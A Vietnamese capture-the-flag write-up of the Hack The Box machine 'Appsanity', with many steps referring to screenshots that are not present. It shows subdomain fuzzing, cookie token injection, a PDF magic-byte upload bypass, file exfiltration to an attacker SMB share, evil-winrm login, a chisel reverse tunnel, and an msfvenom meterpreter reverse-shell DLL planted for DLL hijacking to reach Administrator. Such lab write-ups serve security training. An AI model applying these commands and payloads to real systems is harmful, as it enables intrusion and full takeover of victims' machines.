Enumeration
Zenmap:
Ffuf
PS D:\Program File\ffuf> .\ffuf.exe -c -u https://meddigi.htb -H "Host: FUZZ.meddigi.htb" -w "D:\thehackbox\tool\SecLists\Discovery\DNS\subdomains-top1million-5000.txt" -http2
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0
________________________________________________
:: Method : GET
:: URL : https://meddigi.htb
:: Wordlist : FUZZ: D:\thehackbox\tool\SecLists\Discovery\DNS\subdomains-top1million-5000.txt
:: Header : Host: FUZZ.meddigi.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
portal [Status: 200, Size: 2976, Words: 1219, Lines: 57, Duration: 1569ms]
:: Progress: [4989/4989] :: Job [1/1] :: 142 req/sec :: Duration: [0:00:34] :: Errors: 0 ::
PS D:\Program File\ffuf>Website
Kiểm tra website:
Website portal
Thử trèn access_token từ domain meddigi.htb vào domain portal.meddigi.htb.
Trong response, sử dụng Set-Cookie để thêm access_token.
Từ request trong burp tôi trèn:
Gaining access svc_exampanel
Khi cố gắng upload một file khác pdf tôi nhận được một thông báo lỗi.
Thêm magic byte pdf, tôi đã nhận được kết quả sau:
Gaining access devdoc
Kiểm tra các file và folder trong thư mục C:\inetpub
Đối với linux: sử dụng smbserver.
Đối với windows: chỉ cần share folder và turn off password protectec sharing.
C:\inetpub\ExaminationPanel\ExaminationPanel\bin>copy ExaminationManagement.dll \\<IP Attack>\dryu8\
copy ExaminationManagement.dll \\<IP Attack>\dryu8\
1 file(s) copied.
C:\inetpub\ExaminationPanel\ExaminationPanel\bin>Decompiler file dll với dnSpy
Thử đọc registry key này: reg query
Sau khi đọc xong tôi thấy một nó giống như password thử kiểm tra nó với evil-winrn. Tôi nhận được shell devdoc:
$ evil-winrm -i meddigi.htb -u devdoc -p '***************'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\devdoc\Documents> whoami
appsanity\devdoc
*Evil-WinRM* PS C:\Users\devdoc\Documents>Privilege escalation
*Evil-WinRM* PS C:\Program Files\ReportManagement> ls
Directory: C:\Program Files\ReportManagement
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/30/2023 8:22 PM Libraries
-a---- 5/5/2023 5:21 AM 34152 cryptbase.dll
-a---- 5/5/2023 5:21 AM 83744 cryptsp.dll
-a---- 3/11/2021 9:22 AM 564112 msvcp140.dll
-a---- 9/17/2023 3:54 AM 140512 profapi.dll
-a---- 10/20/2023 2:56 PM 102912 ReportManagement.exe
-a---- 10/20/2023 1:47 PM 11492864 ReportManagementHelper.exe
-a---- 3/11/2021 9:22 AM 96144 vcruntime140.dll
-a---- 3/11/2021 9:22 AM 36752 vcruntime140_1.dll
-a---- 5/5/2023 5:21 AM 179248 wldp.dll
*Evil-WinRM* PS C:\Program Files\ReportManagement> icacls Libraries
Libraries APPSANITY\devdoc:(OI)(CI)(RX,W)
BUILTIN\Administrators:(I)(F)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(OI)(CI)(R)
NT SERVICE\TrustedInstaller:(I)(CI)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(RX)
Successfully processed 1 files; Failed processing 0 files
*Evil-WinRM* PS C:\Program Files\ReportManagement>Dowload ReportManagement.exe và decompiler
while ( 1 )
{
v12 = buf[v11++];
if ( v12 != aHelp[v11 - 1] )
break;
if ( v11 == 5 )
{
send(
v1,
"Available Commands:\n"
"backup: Perform a backup operation.\n"
"validate: Validates if any report has been altered since the last backup.\n"
"recover <filename>: Restores a specified file from the backup to the Reports folder.\n"
"upload <external source>: Uploads the reports to the specified external source.\n",
295,
0);
goto LABEL_6;
}
}Tôi thấy folder Libraries:if (!v19) {
send(v1, "Invalid command. Missing parameter after 'upload'. Type 'help' for available commands.\n", 87, 0);
continue;
}
sub_140001030(Buffer, 0x7D0ui64, "%s", v19);
* (_OWORD *)v362 = 0i64;
v363 = 0i64;
v364 = 0i64;
sub_14000A120(v362, "C:\\Program Files\\ReportManagement\\Libraries", 0x2Bui64);
* (_OWORD *)v342 = 0i64;
v343 = 0i64;
v22 = v363;
v23 = v362;
if (v364 & gt;= 0x10 )
v23 = (void **)v362[0];
v24 = _std_fs_code_page(v21, v20); Với:if ( v54 )
{
while ( memcmp(v54, "externalupload", 0xEui64) )
{
v54 = (char *)memchr(v54 + 1, 101, v53 - 13 - (v54 + 1));
if ( !v54 )
goto LABEL_110;
}
if ( v54 - (char *)v51 != -1 )
{
if ( v342[1] == v343 )
{
sub_14000B030((__int64 *)v342, (_QWORD *)v342[1], (unsigned __int64 *)Buf);
}
else
{
sub_140008AC0((_QWORD *)v342[1], (unsigned __int64 *)Buf);
v342[1] = (char *)v342[1] + 32;
}
v52 = v367;
}
}Khi đó tôi có khai thác như sau:forward port 100 with chisel
# ./chisel server --port 7777 --reverse
2023/10/31 10:22:06 server: Reverse tunnelling enabled
2023/10/31 10:22:06 server: Fingerprint tRw3fY/oPRB9QmugjOaQAABv61/3flrYhNi+6p/O03Y=
2023/10/31 10:22:06 server: Listening on http://0.0.0.0:7777
2023/10/31 10:22:12 server: session#1: tun: proxy#R:100=>localhost:100: Listening
---------------------
*Evil-WinRM* PS C:\Users\devdoc\Documents> ./chisel.exe client <IP Attack>:7777 R:100:localhost:100
chisel.exe : 2023/10/30 20:22:07 client: Connecting to ws://<IP Attack>:7777Tạo payload and upload$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<IP Attack> LPORT=443 -f dll -o externalupload.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 581 bytes
Final size of dll file: 9216 bytes
Saved as: externalupload.dll
----------------------
*Evil-WinRM* PS C:\Program Files\ReportManagement\Libraries> upload /home/yuh/Appsanity/externalupload.dll
Info: Uploading /home/yuh/Appsanity/externalupload.dll to C:\Program Files\ReportManagement\Libraries\externalupload.dll
Data: 12288 bytes of 12288 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Program Files\ReportManagement\Libraries>Khai thác:$ nc localhost 100
Reports Management administrative console. Type "help" to view available commands.
upload externalupload
Attempting to upload to external source.
-----------------------
msf6 use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_https
PAYLOAD => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set LHOST <IP Attack>
LHOST => <IP Attack>
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > set ExitOnSession false
ExitOnSession => false
msf6 exploit(multi/handler) > exploit
[*] Started HTTPS reverse handler on https://<IP Attack>:443
[!] https://<IP Attack>:443 handling request from <IP Box>; (UUID: tdinrmio) Without a database connected that payload UUID tracking will not work!
[*] https://<IP Attack>:443 handling request from <IP Box>; (UUID: tdinrmio) Staging x64 payload (201820 bytes) ...
[!] https://<IP Attack>:443 handling request from <IP Box>; (UUID: tdinrmio) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (<IP Attack>:443 -> <IP Box>:59648) at 2023-10-31 10:23:42 +0700
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows APPSANITY\Administrator @ APPSANITY <IP Attack>:443 -> <IP Box>:59648
msf6 exploit(multi/handler) > sessions 1
meterpreter > getuid
[-] Unknown command: �getuid
meterpreter > getuid
Server username: APPSANITY\Administrator
meterpreter > sysinfo
Computer : APPSANITY
OS : Windows 10 (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x64/windows
meterpreter >Tôi đang bắt đầu tuần mới với một núi công việc. :'( :D
